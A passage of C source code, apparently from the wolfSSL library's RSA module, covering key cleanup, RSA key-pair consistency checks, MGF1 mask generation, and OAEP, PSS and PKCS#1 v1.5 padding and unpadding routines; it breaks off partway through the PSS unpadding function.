CRYS_RSA_KG_GenerateKeyPair(&wc_rndState, wc_rndGenVectFunc, (byte*)&e, 3*sizeof(uint8_t), size, &key->ctx.privKey, &key->ctx.pubKey, &KeyGenData, &FipsCtx); if (ret != SA_SILIB_RET_OK){ WOLFSSL_MSG("CRYS_RSA_KG_GenerateKeyPair failed"); return ret; } ret = CRYS_RSA_Get_PubKey(&key->ctx.pubKey, ex, &eSz, n, &nSz); if (ret != SA_SILIB_RET_OK){ WOLFSSL_MSG("CRYS_RSA_Get_PubKey failed"); return ret; } ret = wc_RsaPublicKeyDecodeRaw(n, nSz, ex, eSz, key); key->type = RSA_PRIVATE; return ret; } #endif /* WOLFSSL_CRYPTOCELL */ int wc_FreeRsaKey(RsaKey* key) { int ret = 0; if (key == NULL) { return BAD_FUNC_ARG; } wc_RsaCleanup(key); #if defined(WOLFSSL_ASYNC_CRYPT) && defined(WC_ASYNC_ENABLE_RSA) wolfAsync_DevCtxFree(&key->asyncDev, WOLFSSL_ASYNC_MARKER_RSA); #endif #ifndef WOLFSSL_RSA_PUBLIC_ONLY if (key->type == RSA_PRIVATE) { #if defined(WOLFSSL_KEY_GEN) || defined(OPENSSL_EXTRA) || !defined(RSA_LOW_MEM) mp_forcezero(&key->u); mp_forcezero(&key->dQ); mp_forcezero(&key->dP); #endif mp_forcezero(&key->q); mp_forcezero(&key->p); mp_forcezero(&key->d); } /* private part */ #if defined(WOLFSSL_KEY_GEN) || defined(OPENSSL_EXTRA) || !defined(RSA_LOW_MEM) mp_clear(&key->u); mp_clear(&key->dQ); mp_clear(&key->dP); #endif mp_clear(&key->q); mp_clear(&key->p); mp_clear(&key->d); #endif /* WOLFSSL_RSA_PUBLIC_ONLY */ /* public part */ mp_clear(&key->e); mp_clear(&key->n); #ifdef WOLFSSL_XILINX_CRYPT XFREE(key->mod, key->heap, DYNAMIC_TYPE_KEY); key->mod = NULL; #endif #ifdef WOLFSSL_AFALG_XILINX_RSA /* make sure that sockets are closed on cleanup */ if (key->alFd > 0) { close(key->alFd); key->alFd = WC_SOCK_NOTSET; } if (key->rdFd > 0) { close(key->rdFd); key->rdFd = WC_SOCK_NOTSET; } #endif return ret; } #ifndef WOLFSSL_RSA_PUBLIC_ONLY #if defined(WOLFSSL_KEY_GEN) && !defined(WOLFSSL_NO_RSA_KEY_CHECK) /* Check the pair-wise consistency of the RSA key. * From NIST SP 800-56B, section 6.4.1.1. * Verify that k = (k^e)^d, for some k: 1 < k < n-1. */ int wc_CheckRsaKey(RsaKey* key) { #if defined(WOLFSSL_CRYPTOCELL) return 0; #endif #ifdef WOLFSSL_SMALL_STACK mp_int *k = NULL, *tmp = NULL; #else mp_int k[1], tmp[1]; #endif int ret = 0; #ifdef WOLFSSL_SMALL_STACK k = (mp_int*)XMALLOC(sizeof(mp_int) * 2, NULL, DYNAMIC_TYPE_RSA); if (k == NULL) return MEMORY_E; tmp = k + 1; #endif if (mp_init_multi(k, tmp, NULL, NULL, NULL, NULL) != MP_OKAY) ret = MP_INIT_E; if (ret == 0) { if (key == NULL) ret = BAD_FUNC_ARG; } if (ret == 0) { if (mp_set_int(k, 0x2342) != MP_OKAY) ret = MP_READ_E; } #ifdef WOLFSSL_HAVE_SP_RSA if (ret == 0) { switch (mp_count_bits(&key->n)) { #ifndef WOLFSSL_SP_NO_2048 case 2048: ret = sp_ModExp_2048(k, &key->e, &key->n, tmp); if (ret != 0) ret = MP_EXPTMOD_E; if (ret == 0) { ret = sp_ModExp_2048(tmp, &key->d, &key->n, tmp); if (ret != 0) ret = MP_EXPTMOD_E; } break; #endif /* WOLFSSL_SP_NO_2048 */ #ifndef WOLFSSL_SP_NO_3072 case 3072: ret = sp_ModExp_3072(k, &key->e, &key->n, tmp); if (ret != 0) ret = MP_EXPTMOD_E; if (ret == 0) { ret = sp_ModExp_3072(tmp, &key->d, &key->n, tmp); if (ret != 0) ret = MP_EXPTMOD_E; } break; #endif /* WOLFSSL_SP_NO_3072 */ #ifdef WOLFSSL_SP_4096 case 4096: ret = sp_ModExp_4096(k, &key->e, &key->n, tmp); if (ret != 0) ret = MP_EXPTMOD_E; if (ret == 0) { ret = sp_ModExp_4096(tmp, &key->d, &key->n, tmp); if (ret != 0) ret = MP_EXPTMOD_E; } break; #endif /* WOLFSSL_SP_4096 */ default: /* If using only single prcsision math then issue key size error, otherwise fall-back to multi-precision math calculation */ #ifdef WOLFSSL_SP_MATH ret = WC_KEY_SIZE_E; #endif break; } } #endif /* WOLFSSL_HAVE_SP_RSA */ #ifndef WOLFSSL_SP_MATH if (ret == 0) { if (mp_exptmod(k, &key->e, &key->n, tmp) != MP_OKAY) ret = MP_EXPTMOD_E; } if (ret == 0) { if (mp_exptmod(tmp, &key->d, &key->n, tmp) != MP_OKAY) ret = MP_EXPTMOD_E; } #endif /* !WOLFSSL_SP_MATH */ if (ret == 0) { if (mp_cmp(k, tmp) != MP_EQ) ret = RSA_KEY_PAIR_E; } /* Check d is less than n. */ if (ret == 0 ) { if (mp_cmp(&key->d, &key->n) != MP_LT) { ret = MP_EXPTMOD_E; } } /* Check p*q = n. */ if (ret == 0 ) { if (mp_mul(&key->p, &key->q, tmp) != MP_OKAY) { ret = MP_EXPTMOD_E; } } if (ret == 0 ) { if (mp_cmp(&key->n, tmp) != MP_EQ) { ret = MP_EXPTMOD_E; } } /* Check dP, dQ and u if they exist */ if (ret == 0 && !mp_iszero(&key->dP)) { if (mp_sub_d(&key->p, 1, tmp) != MP_OKAY) { ret = MP_EXPTMOD_E; } /* Check dP <= p-1. */ if (ret == 0) { if (mp_cmp(&key->dP, tmp) != MP_LT) { ret = MP_EXPTMOD_E; } } /* Check e*dP mod p-1 = 1. (dP = 1/e mod p-1) */ if (ret == 0) { if (mp_mulmod(&key->dP, &key->e, tmp, tmp) != MP_OKAY) { ret = MP_EXPTMOD_E; } } if (ret == 0 ) { if (!mp_isone(tmp)) { ret = MP_EXPTMOD_E; } } if (ret == 0) { if (mp_sub_d(&key->q, 1, tmp) != MP_OKAY) { ret = MP_EXPTMOD_E; } } /* Check dQ <= q-1. */ if (ret == 0) { if (mp_cmp(&key->dQ, tmp) != MP_LT) { ret = MP_EXPTMOD_E; } } /* Check e*dP mod p-1 = 1. (dQ = 1/e mod q-1) */ if (ret == 0) { if (mp_mulmod(&key->dQ, &key->e, tmp, tmp) != MP_OKAY) { ret = MP_EXPTMOD_E; } } if (ret == 0 ) { if (!mp_isone(tmp)) { ret = MP_EXPTMOD_E; } } /* Check u <= p. */ if (ret == 0) { if (mp_cmp(&key->u, &key->p) != MP_LT) { ret = MP_EXPTMOD_E; } } /* Check u*q mod p = 1. (u = 1/q mod p) */ if (ret == 0) { if (mp_mulmod(&key->u, &key->q, &key->p, tmp) != MP_OKAY) { ret = MP_EXPTMOD_E; } } if (ret == 0 ) { if (!mp_isone(tmp)) { ret = MP_EXPTMOD_E; } } } mp_forcezero(tmp); mp_clear(tmp); mp_clear(k); #ifdef WOLFSSL_SMALL_STACK XFREE(k, NULL, DYNAMIC_TYPE_RSA); #endif return ret; } #endif /* WOLFSSL_KEY_GEN && !WOLFSSL_NO_RSA_KEY_CHECK */ #endif /* WOLFSSL_RSA_PUBLIC_ONLY */ #if !defined(WC_NO_RSA_OAEP) || defined(WC_RSA_PSS) /* Uses MGF1 standard as a mask generation function hType: hash type used seed: seed to use for generating mask seedSz: size of seed buffer out: mask output after generation outSz: size of output buffer */ #if !defined(NO_SHA) || !defined(NO_SHA256) || defined(WOLFSSL_SHA384) || defined(WOLFSSL_SHA512) static int RsaMGF1(enum wc_HashType hType, byte* seed, word32 seedSz, byte* out, word32 outSz, void* heap) { byte* tmp; /* needs to be large enough for seed size plus counter(4) */ byte tmpA[WC_MAX_DIGEST_SIZE + 4]; byte tmpF; /* 1 if dynamic memory needs freed */ word32 tmpSz; int hLen; int ret; word32 counter; word32 idx; hLen = wc_HashGetDigestSize(hType); counter = 0; idx = 0; (void)heap; /* check error return of wc_HashGetDigestSize */ if (hLen < 0) { return hLen; } /* if tmp is not large enough than use some dynamic memory */ if ((seedSz + 4) > sizeof(tmpA) || (word32)hLen > sizeof(tmpA)) { /* find largest amount of memory needed which will be the max of * hLen and (seedSz + 4) since tmp is used to store the hash digest */ tmpSz = ((seedSz + 4) > (word32)hLen)? seedSz + 4: (word32)hLen; tmp = (byte*)XMALLOC(tmpSz, heap, DYNAMIC_TYPE_RSA_BUFFER); if (tmp == NULL) { return MEMORY_E; } tmpF = 1; /* make sure to free memory when done */ } else { /* use array on the stack */ tmpSz = sizeof(tmpA); tmp = tmpA; tmpF = 0; /* no need to free memory at end */ } do { int i = 0; XMEMCPY(tmp, seed, seedSz); /* counter to byte array appended to tmp */ tmp[seedSz] = (byte)((counter >> 24) & 0xFF); tmp[seedSz + 1] = (byte)((counter >> 16) & 0xFF); tmp[seedSz + 2] = (byte)((counter >> 8) & 0xFF); tmp[seedSz + 3] = (byte)((counter) & 0xFF); /* hash and append to existing output */ if ((ret = wc_Hash(hType, tmp, (seedSz + 4), tmp, tmpSz)) != 0) { /* check for if dynamic memory was needed, then free */ if (tmpF) { XFREE(tmp, heap, DYNAMIC_TYPE_RSA_BUFFER); } return ret; } for (i = 0; i < hLen && idx < outSz; i++) { out[idx++] = tmp[i]; } counter++; } while (idx < outSz); /* check for if dynamic memory was needed, then free */ if (tmpF) { XFREE(tmp, heap, DYNAMIC_TYPE_RSA_BUFFER); } return 0; } #endif /* SHA2 Hashes */ /* helper function to direct which mask generation function is used switched on type input */ static int RsaMGF(int type, byte* seed, word32 seedSz, byte* out, word32 outSz, void* heap) { int ret; switch(type) { #ifndef NO_SHA case WC_MGF1SHA1: ret = RsaMGF1(WC_HASH_TYPE_SHA, seed, seedSz, out, outSz, heap); break; #endif #ifndef NO_SHA256 #ifdef WOLFSSL_SHA224 case WC_MGF1SHA224: ret = RsaMGF1(WC_HASH_TYPE_SHA224, seed, seedSz, out, outSz, heap); break; #endif case WC_MGF1SHA256: ret = RsaMGF1(WC_HASH_TYPE_SHA256, seed, seedSz, out, outSz, heap); break; #endif #ifdef WOLFSSL_SHA384 case WC_MGF1SHA384: ret = RsaMGF1(WC_HASH_TYPE_SHA384, seed, seedSz, out, outSz, heap); break; #endif #ifdef WOLFSSL_SHA512 case WC_MGF1SHA512: ret = RsaMGF1(WC_HASH_TYPE_SHA512, seed, seedSz, out, outSz, heap); break; #endif default: WOLFSSL_MSG("Unknown MGF type: check build options"); ret = BAD_FUNC_ARG; } /* in case of default avoid unused warning */ (void)seed; (void)seedSz; (void)out; (void)outSz; (void)heap; return ret; } #endif /* !WC_NO_RSA_OAEP || WC_RSA_PSS */ /* Padding */ #ifndef WOLFSSL_RSA_VERIFY_ONLY #ifndef WC_NO_RNG #ifndef WC_NO_RSA_OAEP static int RsaPad_OAEP(const byte* input, word32 inputLen, byte* pkcsBlock, word32 pkcsBlockLen, byte padValue, WC_RNG* rng, enum wc_HashType hType, int mgf, byte* optLabel, word32 labelLen, void* heap) { int ret; int hLen; int psLen; int i; word32 idx; byte* dbMask; #ifdef WOLFSSL_SMALL_STACK byte* lHash = NULL; byte* seed = NULL; #else /* must be large enough to contain largest hash */ byte lHash[WC_MAX_DIGEST_SIZE]; byte seed[ WC_MAX_DIGEST_SIZE]; #endif /* no label is allowed, but catch if no label provided and length > 0 */ if (optLabel == NULL && labelLen > 0) { return BUFFER_E; } /* limit of label is the same as limit of hash function which is massive */ hLen = wc_HashGetDigestSize(hType); if (hLen < 0) { return hLen; } #ifdef WOLFSSL_SMALL_STACK lHash = (byte*)XMALLOC(hLen, heap, DYNAMIC_TYPE_RSA_BUFFER); if (lHash == NULL) { return MEMORY_E; } seed = (byte*)XMALLOC(hLen, heap, DYNAMIC_TYPE_RSA_BUFFER); if (seed == NULL) { XFREE(lHash, heap, DYNAMIC_TYPE_RSA_BUFFER); return MEMORY_E; } #else /* hLen should never be larger than lHash since size is max digest size, but check before blindly calling wc_Hash */ if ((word32)hLen > sizeof(lHash)) { WOLFSSL_MSG("OAEP lHash to small for digest!!"); return MEMORY_E; } #endif if ((ret = wc_Hash(hType, optLabel, labelLen, lHash, hLen)) != 0) { WOLFSSL_MSG("OAEP hash type possibly not supported or lHash to small"); #ifdef WOLFSSL_SMALL_STACK XFREE(lHash, heap, DYNAMIC_TYPE_RSA_BUFFER); XFREE(seed, heap, DYNAMIC_TYPE_RSA_BUFFER); #endif return ret; } /* handles check of location for idx as well as psLen, cast to int to check for pkcsBlockLen(k) - 2 * hLen - 2 being negative This check is similar to decryption where k > 2 * hLen + 2 as msg size approaches 0. In decryption if k is less than or equal -- then there is no possible room for msg. k = RSA key size hLen = hash digest size -- will always be >= 0 at this point */ if ((word32)(2 * hLen + 2) > pkcsBlockLen) { WOLFSSL_MSG("OAEP pad error hash to big for RSA key size"); #ifdef WOLFSSL_SMALL_STACK XFREE(lHash, heap, DYNAMIC_TYPE_RSA_BUFFER); XFREE(seed, heap, DYNAMIC_TYPE_RSA_BUFFER); #endif return BAD_FUNC_ARG; } if (inputLen > (pkcsBlockLen - 2 * hLen - 2)) { WOLFSSL_MSG("OAEP pad error message too long"); #ifdef WOLFSSL_SMALL_STACK XFREE(lHash, heap, DYNAMIC_TYPE_RSA_BUFFER); XFREE(seed, heap, DYNAMIC_TYPE_RSA_BUFFER); #endif return BAD_FUNC_ARG; } /* concatenate lHash || PS || 0x01 || msg */ idx = pkcsBlockLen - 1 - inputLen; psLen = pkcsBlockLen - inputLen - 2 * hLen - 2; if (pkcsBlockLen < inputLen) { /*make sure not writing over end of buffer */ #ifdef WOLFSSL_SMALL_STACK XFREE(lHash, heap, DYNAMIC_TYPE_RSA_BUFFER); XFREE(seed, heap, DYNAMIC_TYPE_RSA_BUFFER); #endif return BUFFER_E; } XMEMCPY(pkcsBlock + (pkcsBlockLen - inputLen), input, inputLen); pkcsBlock[idx--] = 0x01; /* PS and M separator */ while (psLen > 0 && idx > 0) { pkcsBlock[idx--] = 0x00; psLen--; } idx = idx - hLen + 1; XMEMCPY(pkcsBlock + idx, lHash, hLen); /* generate random seed */ if ((ret = wc_RNG_GenerateBlock(rng, seed, hLen)) != 0) { #ifdef WOLFSSL_SMALL_STACK XFREE(lHash, heap, DYNAMIC_TYPE_RSA_BUFFER); XFREE(seed, heap, DYNAMIC_TYPE_RSA_BUFFER); #endif return ret; } /* create maskedDB from dbMask */ dbMask = (byte*)XMALLOC(pkcsBlockLen - hLen - 1, heap, DYNAMIC_TYPE_RSA); if (dbMask == NULL) { #ifdef WOLFSSL_SMALL_STACK XFREE(lHash, heap, DYNAMIC_TYPE_RSA_BUFFER); XFREE(seed, heap, DYNAMIC_TYPE_RSA_BUFFER); #endif return MEMORY_E; } XMEMSET(dbMask, 0, pkcsBlockLen - hLen - 1); /* help static analyzer */ ret = RsaMGF(mgf, seed, hLen, dbMask, pkcsBlockLen - hLen - 1, heap); if (ret != 0) { XFREE(dbMask, heap, DYNAMIC_TYPE_RSA); #ifdef WOLFSSL_SMALL_STACK XFREE(lHash, heap, DYNAMIC_TYPE_RSA_BUFFER); XFREE(seed, heap, DYNAMIC_TYPE_RSA_BUFFER); #endif return ret; } i = 0; idx = hLen + 1; while (idx < pkcsBlockLen && (word32)i < (pkcsBlockLen - hLen -1)) { pkcsBlock[idx] = dbMask[i++] ^ pkcsBlock[idx]; idx++; } XFREE(dbMask, heap, DYNAMIC_TYPE_RSA); /* create maskedSeed from seedMask */ idx = 0; pkcsBlock[idx++] = 0x00; /* create seedMask inline */ if ((ret = RsaMGF(mgf, pkcsBlock + hLen + 1, pkcsBlockLen - hLen - 1, pkcsBlock + 1, hLen, heap)) != 0) { #ifdef WOLFSSL_SMALL_STACK XFREE(lHash, heap, DYNAMIC_TYPE_RSA_BUFFER); XFREE(seed, heap, DYNAMIC_TYPE_RSA_BUFFER); #endif return ret; } /* xor created seedMask with seed to make maskedSeed */ i = 0; while (idx < (word32)(hLen + 1) && i < hLen) { pkcsBlock[idx] = pkcsBlock[idx] ^ seed[i++]; idx++; } #ifdef WOLFSSL_SMALL_STACK XFREE(lHash, heap, DYNAMIC_TYPE_RSA_BUFFER); XFREE(seed, heap, DYNAMIC_TYPE_RSA_BUFFER); #endif (void)padValue; return 0; } #endif /* !WC_NO_RSA_OAEP */ #ifdef WC_RSA_PSS /* 0x00 .. 0x00 0x01 | Salt | Gen Hash | 0xbc * XOR MGF over all bytes down to end of Salt * Gen Hash = HASH(8 * 0x00 | Message Hash | Salt) * * input Digest of the message. * inputLen Length of digest. * pkcsBlock Buffer to write to. * pkcsBlockLen Length of buffer to write to. * rng Random number generator (for salt). * htype Hash function to use. * mgf Mask generation function. * saltLen Length of salt to put in padding. * bits Length of key in bits. * heap Used for dynamic memory allocation. * returns 0 on success, PSS_SALTLEN_E when the salt length is invalid * and other negative values on error. */ static int RsaPad_PSS(const byte* input, word32 inputLen, byte* pkcsBlock, word32 pkcsBlockLen, WC_RNG* rng, enum wc_HashType hType, int mgf, int saltLen, int bits, void* heap) { int ret = 0; int hLen, i, o, maskLen, hiBits; byte* m; byte* s; #if defined(WOLFSSL_NO_MALLOC) && !defined(WOLFSSL_STATIC_MEMORY) byte msg[RSA_MAX_SIZE/8 + RSA_PSS_PAD_SZ]; #else byte* msg = NULL; #endif #if defined(WOLFSSL_PSS_LONG_SALT) || defined(WOLFSSL_PSS_SALT_LEN_DISCOVER) byte* salt; #else byte salt[WC_MAX_DIGEST_SIZE]; #endif #if defined(WOLFSSL_PSS_LONG_SALT) || defined(WOLFSSL_PSS_SALT_LEN_DISCOVER) if (pkcsBlockLen > RSA_MAX_SIZE/8) { return MEMORY_E; } #endif hLen = wc_HashGetDigestSize(hType); if (hLen < 0) return hLen; if ((int)inputLen != hLen) { return BAD_FUNC_ARG; } hiBits = (bits - 1) & 0x7; if (hiBits == 0) { /* Per RFC8017, set the leftmost 8emLen - emBits bits of the leftmost octet in DB to zero. */ *(pkcsBlock++) = 0; pkcsBlockLen--; } if (saltLen == RSA_PSS_SALT_LEN_DEFAULT) { saltLen = hLen; #ifdef WOLFSSL_SHA512 /* See FIPS 186-4 section 5.5 item (e). */ if (bits == 1024 && hLen == WC_SHA512_DIGEST_SIZE) { saltLen = RSA_PSS_SALT_MAX_SZ; } #endif } #ifndef WOLFSSL_PSS_LONG_SALT else if (saltLen > hLen) { return PSS_SALTLEN_E; } #endif #ifndef WOLFSSL_PSS_SALT_LEN_DISCOVER else if (saltLen < RSA_PSS_SALT_LEN_DEFAULT) { return PSS_SALTLEN_E; } #else else if (saltLen == RSA_PSS_SALT_LEN_DISCOVER) { saltLen = (int)pkcsBlockLen - hLen - 2; if (saltLen < 0) { return PSS_SALTLEN_E; } } else if (saltLen < RSA_PSS_SALT_LEN_DISCOVER) { return PSS_SALTLEN_E; } #endif if ((int)pkcsBlockLen - hLen < saltLen + 2) { return PSS_SALTLEN_E; } maskLen = pkcsBlockLen - 1 - hLen; #if defined(WOLFSSL_PSS_LONG_SALT) || defined(WOLFSSL_PSS_SALT_LEN_DISCOVER) #if !defined(WOLFSSL_NO_MALLOC) || defined(WOLFSSL_STATIC_MEMORY) msg = (byte*)XMALLOC(RSA_PSS_PAD_SZ + inputLen + saltLen, heap, DYNAMIC_TYPE_RSA_BUFFER); if (msg == NULL) { return MEMORY_E; } #endif salt = s = m = msg; XMEMSET(m, 0, RSA_PSS_PAD_SZ); m += RSA_PSS_PAD_SZ; XMEMCPY(m, input, inputLen); m += inputLen; o = (int)(m - s); if (saltLen > 0) { ret = wc_RNG_GenerateBlock(rng, m, saltLen); if (ret == 0) { m += saltLen; } } #else if (pkcsBlockLen < RSA_PSS_PAD_SZ + inputLen + saltLen) { #if !defined(WOLFSSL_NO_MALLOC) || defined(WOLFSSL_STATIC_MEMORY) msg = (byte*)XMALLOC(RSA_PSS_PAD_SZ + inputLen + saltLen, heap, DYNAMIC_TYPE_RSA_BUFFER); if (msg == NULL) { return MEMORY_E; } #endif m = msg; } else { m = pkcsBlock; } s = m; XMEMSET(m, 0, RSA_PSS_PAD_SZ); m += RSA_PSS_PAD_SZ; XMEMCPY(m, input, inputLen); m += inputLen; o = 0; if (saltLen > 0) { ret = wc_RNG_GenerateBlock(rng, salt, saltLen); if (ret == 0) { XMEMCPY(m, salt, saltLen); m += saltLen; } } #endif if (ret == 0) { /* Put Hash at end of pkcsBlock - 1 */ ret = wc_Hash(hType, s, (word32)(m - s), pkcsBlock + maskLen, hLen); } if (ret == 0) { /* Set the last eight bits or trailer field to the octet 0xbc */ pkcsBlock[pkcsBlockLen - 1] = RSA_PSS_PAD_TERM; ret = RsaMGF(mgf, pkcsBlock + maskLen, hLen, pkcsBlock, maskLen, heap); } if (ret == 0) { /* Clear the first high bit when "8emLen - emBits" is non-zero. where emBits = n modBits - 1 */ if (hiBits) pkcsBlock[0] &= (1 << hiBits) - 1; m = pkcsBlock + maskLen - saltLen - 1; *(m++) ^= 0x01; for (i = 0; i < saltLen; i++) { m[i] ^= salt[o + i]; } } #if !defined(WOLFSSL_NO_MALLOC) || defined(WOLFSSL_STATIC_MEMORY) if (msg != NULL) { XFREE(msg, heap, DYNAMIC_TYPE_RSA_BUFFER); } #endif return ret; } #endif /* WC_RSA_PSS */ #endif /* !WC_NO_RNG */ static int RsaPad(const byte* input, word32 inputLen, byte* pkcsBlock, word32 pkcsBlockLen, byte padValue, WC_RNG* rng) { if (input == NULL || inputLen == 0 || pkcsBlock == NULL || pkcsBlockLen == 0) { return BAD_FUNC_ARG; } if (pkcsBlockLen - RSA_MIN_PAD_SZ < inputLen) { WOLFSSL_MSG("RsaPad error, invalid length"); return RSA_PAD_E; } pkcsBlock[0] = 0x0; /* set first byte to zero and advance */ pkcsBlock++; pkcsBlockLen--; pkcsBlock[0] = padValue; /* insert padValue */ if (padValue == RSA_BLOCK_TYPE_1) { /* pad with 0xff bytes */ XMEMSET(&pkcsBlock[1], 0xFF, pkcsBlockLen - inputLen - 2); } else { #if !defined(WOLFSSL_RSA_VERIFY_ONLY) && !defined(WC_NO_RNG) /* pad with non-zero random bytes */ word32 padLen, i; int ret; padLen = pkcsBlockLen - inputLen - 1; ret = wc_RNG_GenerateBlock(rng, &pkcsBlock[1], padLen); if (ret != 0) { return ret; } /* remove zeros */ for (i = 1; i < padLen; i++) { if (pkcsBlock[i] == 0) pkcsBlock[i] = 0x01; } #else (void)rng; return RSA_WRONG_TYPE_E; #endif } pkcsBlock[pkcsBlockLen-inputLen-1] = 0; /* separator */ XMEMCPY(pkcsBlock+pkcsBlockLen-inputLen, input, inputLen); return 0; } /* helper function to direct which padding is used */ int wc_RsaPad_ex(const byte* input, word32 inputLen, byte* pkcsBlock, word32 pkcsBlockLen, byte padValue, WC_RNG* rng, int padType, enum wc_HashType hType, int mgf, byte* optLabel, word32 labelLen, int saltLen, int bits, void* heap) { int ret; switch (padType) { case WC_RSA_PKCSV15_PAD: /*WOLFSSL_MSG("wolfSSL Using RSA PKCSV15 padding");*/ ret = RsaPad(input, inputLen, pkcsBlock, pkcsBlockLen, padValue, rng); break; #ifndef WC_NO_RNG #ifndef WC_NO_RSA_OAEP case WC_RSA_OAEP_PAD: WOLFSSL_MSG("wolfSSL Using RSA OAEP padding"); ret = RsaPad_OAEP(input, inputLen, pkcsBlock, pkcsBlockLen, padValue, rng, hType, mgf, optLabel, labelLen, heap); break; #endif #ifdef WC_RSA_PSS case WC_RSA_PSS_PAD: WOLFSSL_MSG("wolfSSL Using RSA PSS padding"); ret = RsaPad_PSS(input, inputLen, pkcsBlock, pkcsBlockLen, rng, hType, mgf, saltLen, bits, heap); break; #endif #endif /* !WC_NO_RNG */ #ifdef WC_RSA_NO_PADDING case WC_RSA_NO_PAD: WOLFSSL_MSG("wolfSSL Using NO padding"); /* In the case of no padding being used check that input is exactly * the RSA key length */ if (bits <= 0 || inputLen != ((word32)bits/WOLFSSL_BIT_SIZE)) { WOLFSSL_MSG("Bad input size"); ret = RSA_PAD_E; } else { XMEMCPY(pkcsBlock, input, inputLen); ret = 0; } break; #endif default: WOLFSSL_MSG("Unknown RSA Pad Type"); ret = RSA_PAD_E; } /* silence warning if not used with padding scheme */ (void)input; (void)inputLen; (void)pkcsBlock; (void)pkcsBlockLen; (void)padValue; (void)rng; (void)padType; (void)hType; (void)mgf; (void)optLabel; (void)labelLen; (void)saltLen; (void)bits; (void)heap; return ret; } #endif /* WOLFSSL_RSA_VERIFY_ONLY */ /* UnPadding */ #ifndef WC_NO_RSA_OAEP /* UnPad plaintext, set start to *output, return length of plaintext, * < 0 on error */ static int RsaUnPad_OAEP(byte *pkcsBlock, unsigned int pkcsBlockLen, byte **output, enum wc_HashType hType, int mgf, byte* optLabel, word32 labelLen, void* heap) { int hLen; int ret; byte h[WC_MAX_DIGEST_SIZE]; /* max digest size */ byte* tmp; word32 idx; /* no label is allowed, but catch if no label provided and length > 0 */ if (optLabel == NULL && labelLen > 0) { return BUFFER_E; } hLen = wc_HashGetDigestSize(hType); if ((hLen < 0) || (pkcsBlockLen < (2 * (word32)hLen + 2))) { return BAD_FUNC_ARG; } tmp = (byte*)XMALLOC(pkcsBlockLen, heap, DYNAMIC_TYPE_RSA_BUFFER); if (tmp == NULL) { return MEMORY_E; } XMEMSET(tmp, 0, pkcsBlockLen); /* find seedMask value */ if ((ret = RsaMGF(mgf, (byte*)(pkcsBlock + (hLen + 1)), pkcsBlockLen - hLen - 1, tmp, hLen, heap)) != 0) { XFREE(tmp, heap, DYNAMIC_TYPE_RSA_BUFFER); return ret; } /* xor seedMask value with maskedSeed to get seed value */ for (idx = 0; idx < (word32)hLen; idx++) { tmp[idx] = tmp[idx] ^ pkcsBlock[1 + idx]; } /* get dbMask value */ if ((ret = RsaMGF(mgf, tmp, hLen, tmp + hLen, pkcsBlockLen - hLen - 1, heap)) != 0) { XFREE(tmp, NULL, DYNAMIC_TYPE_RSA_BUFFER); return ret; } /* get DB value by doing maskedDB xor dbMask */ for (idx = 0; idx < (pkcsBlockLen - hLen - 1); idx++) { pkcsBlock[hLen + 1 + idx] = pkcsBlock[hLen + 1 + idx] ^ tmp[idx + hLen]; } /* done with use of tmp buffer */ XFREE(tmp, heap, DYNAMIC_TYPE_RSA_BUFFER); /* advance idx to index of PS and msg separator, account for PS size of 0*/ idx = hLen + 1 + hLen; while (idx < pkcsBlockLen && pkcsBlock[idx] == 0) {idx++;} /* create hash of label for comparison with hash sent */ if ((ret = wc_Hash(hType, optLabel, labelLen, h, hLen)) != 0) { return ret; } /* say no to chosen ciphertext attack. Comparison of lHash, Y, and separator value needs to all happen in constant time. Attackers should not be able to get error condition from the timing of these checks. */ ret = 0; ret |= ConstantCompare(pkcsBlock + hLen + 1, h, hLen); ret += pkcsBlock[idx++] ^ 0x01; /* separator value is 0x01 */ ret += pkcsBlock[0] ^ 0x00; /* Y, the first value, should be 0 */ /* Return 0 data length on error. */ idx = ctMaskSelInt(ctMaskEq(ret, 0), idx, pkcsBlockLen); /* adjust pointer to correct location in array and return size of M */ *output = (byte*)(pkcsBlock + idx); return pkcsBlockLen - idx; } #endif /* WC_NO_RSA_OAEP */ #ifdef WC_RSA_PSS /* 0x00 .. 0x00 0x01 | Salt | Gen Hash | 0xbc * MGF over all bytes down to end of Salt * * pkcsBlock Buffer holding decrypted data. * pkcsBlockLen Length of buffer. * htype Hash function to use. * mgf Mask generation function. * saltLen Length of salt to put in padding. * bits Length of key in bits. * heap Used for dynamic memory allocation. * returns the sum of salt length and SHA-256 digest size on success. * Otherwise, PSS_SALTLEN_E for an incorrect salt length, * WC_KEY_SIZE_E for an incorrect encoded message (EM) size and other negative values on error. */ static int RsaUnPad_PSS(byte *pkcsBlock, unsigned int pkcsBlockLen, byte **output, enum wc_HashType hType, int mgf, int saltLen, int bits, void* heap) { int ret; byte* tmp; int hLen, i, maskLen; #ifdef WOLFSSL_SHA512 int orig_bits = bits; #endif #if defined(WOLFSSL_NO_MALLOC) && !defined(WOLFSSL_STATIC_MEMORY) byte tmp_buf[RSA_MAX_SIZE/8]; tmp = tmp_buf; if (pkcsBlockLen > RSA_MAX_SIZE/8) { return MEMORY_E; } #endif hLen = wc_HashGetDigestSize(hType); if (hLen < 0) return hLen; bits = (bits - 1) & 0x7; if ((pkcsBlock[0] & (0xff << bits)) != 0) { return BAD_PADDING_E; } if (bits == 0) { pkcsBlock++; pkcsBlockLen--; } maskLen = (int)pkcsBlockLen - 1 - hLen; if (maskLen < 0) { WOLFSSL_MSG("RsaUnPad_PSS: Hash too large"); return WC_KEY_SIZE_E; } if (saltLen == RSA_PSS_SALT_LEN_DEFAULT) { saltLen = hLen; #ifdef WOLFSSL_SHA512 /* See FIPS 186-4 section 5.5 item (e). */ if (orig_bits == 1024 && hLen == WC_SHA512_DIGEST_SIZE) saltLen = RSA_PSS_SALT_MAX_SZ; #endif } #ifndef WOLFSSL_PSS_LONG_SALT else if (saltLen > hLen) return PSS_SALTLEN_E; #endif #ifndef WOLFSSL_PSS_SALT_LEN_DISCOVER else if (saltLen < RSA_PSS_SALT_LEN_DEFAULT) return PSS_SALTLEN_E; if (maskLen < saltLen + 1) { return PSS_SALTLEN_E; } #else else if (saltLen < RSA_PSS_SALT_LEN_DISCOVER) return PSS_SALTLEN_E; if (saltLen != RSA_PSS_SALT_LEN_DISCOVER && maskLen < saltLen + 1) { return WC_KEY_SIZE_E; } #endif if (pkcsBlock[pkcsBlockLen - 1] != RSA_PSS_PAD_TERM) { WOLFSSL_MSG("RsaUnPad_PSS: Padding Term Error"); return BAD_PADDING_E; } #if !defined(WOLFSSL_NO_MALLOC) || defined(WOLFSSL_STATIC_MEMORY) tmp = (byte*)XMALLOC(maskLen, heap, DYNAMIC_TYPE_RSA_BUFFER); if (tmp == NULL) { return 